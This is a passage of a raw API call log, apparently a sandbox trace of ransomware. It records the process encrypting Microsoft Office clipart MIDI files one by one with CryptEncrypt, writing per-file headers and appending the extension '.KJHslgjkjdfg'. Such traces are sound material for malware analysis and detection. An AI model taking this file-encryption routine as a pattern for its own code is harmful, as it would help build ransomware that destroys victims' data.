lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.233] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.234] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.234] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.234] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x195b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x195b, lpOverlapped=0x0) returned 1 [0186.235] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1960, dwBufLen=0x1960 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1960) returned 1 [0186.235] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.235] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1960, lpOverlapped=0x0) returned 1 [0186.235] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.235] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.235] SetEndOfFile (hFile=0x114) returned 1 [0186.238] GetProcessHeap () returned 0x2a0000 [0186.238] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.238] GetProcessHeap () returned 0x2a0000 [0186.238] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.kjhslgjkjdfg")) returned 1 [0186.240] CloseHandle (hObject=0x114) returned 1 [0186.240] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_02.MID", cAlternateFileName="")) returned 1 [0186.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.241] GetProcessHeap () returned 0x2a0000 [0186.241] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.241] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.241] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0186.243] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.243] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.243] GetProcessHeap () returned 0x2a0000 [0186.243] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.244] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.244] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.244] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.244] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.244] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.244] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.244] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.244] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.244] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.244] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.244] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.244] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1652, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1652, lpOverlapped=0x0) returned 1 [0186.247] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1660, dwBufLen=0x1660 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1660) returned 1 [0186.247] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.247] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1660, lpOverlapped=0x0) returned 1 [0186.248] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.248] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.248] SetEndOfFile (hFile=0x114) returned 1 [0186.251] GetProcessHeap () returned 0x2a0000 [0186.251] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.251] GetProcessHeap () returned 0x2a0000 [0186.251] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.251] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.kjhslgjkjdfg")) returned 1 [0186.253] CloseHandle (hObject=0x114) returned 1 [0186.253] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x215a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_03.MID", cAlternateFileName="")) returned 1 [0186.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.254] GetProcessHeap () returned 0x2a0000 [0186.254] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.254] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.254] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.254] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0186.256] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.256] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.256] GetProcessHeap () returned 0x2a0000 [0186.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.256] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.256] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.257] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.257] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.257] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.257] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.257] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.257] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.257] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.257] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.257] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.257] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x215a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x215a, lpOverlapped=0x0) returned 1 [0186.258] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2160, dwBufLen=0x2160 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2160) returned 1 [0186.258] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.259] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2160, lpOverlapped=0x0) returned 1 [0186.259] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.259] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.259] SetEndOfFile (hFile=0x114) returned 1 [0186.262] GetProcessHeap () returned 0x2a0000 [0186.262] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.262] GetProcessHeap () returned 0x2a0000 [0186.262] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.262] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.kjhslgjkjdfg")) returned 1 [0186.264] CloseHandle (hObject=0x114) returned 1 [0186.264] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_04.MID", cAlternateFileName="")) returned 1 [0186.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.266] GetProcessHeap () returned 0x2a0000 [0186.266] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.266] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.266] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.266] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0186.268] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.268] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.268] GetProcessHeap () returned 0x2a0000 [0186.268] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.268] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.268] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.268] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.268] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.268] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.269] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.269] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.269] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.269] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.269] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.269] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.269] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x17b6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x17b6, lpOverlapped=0x0) returned 1 [0186.270] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17c0) returned 1 [0186.270] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.270] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x17c0, lpOverlapped=0x0) returned 1 [0186.270] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.270] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.270] SetEndOfFile (hFile=0x114) returned 1 [0186.273] GetProcessHeap () returned 0x2a0000 [0186.273] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.273] GetProcessHeap () returned 0x2a0000 [0186.273] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.kjhslgjkjdfg")) returned 1 [0186.275] CloseHandle (hObject=0x114) returned 1 [0186.275] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1784, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_05.MID", cAlternateFileName="")) returned 1 [0186.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.280] GetProcessHeap () returned 0x2a0000 [0186.280] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.280] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.281] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.281] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.283] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.283] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.283] GetProcessHeap () returned 0x2a0000 [0186.283] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.283] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.283] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.283] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.283] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.283] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.284] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.284] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.284] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.284] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.284] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.284] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.284] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1784, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1784, lpOverlapped=0x0) returned 1 [0186.285] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1790, dwBufLen=0x1790 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1790) returned 1 [0186.285] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.285] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1790, 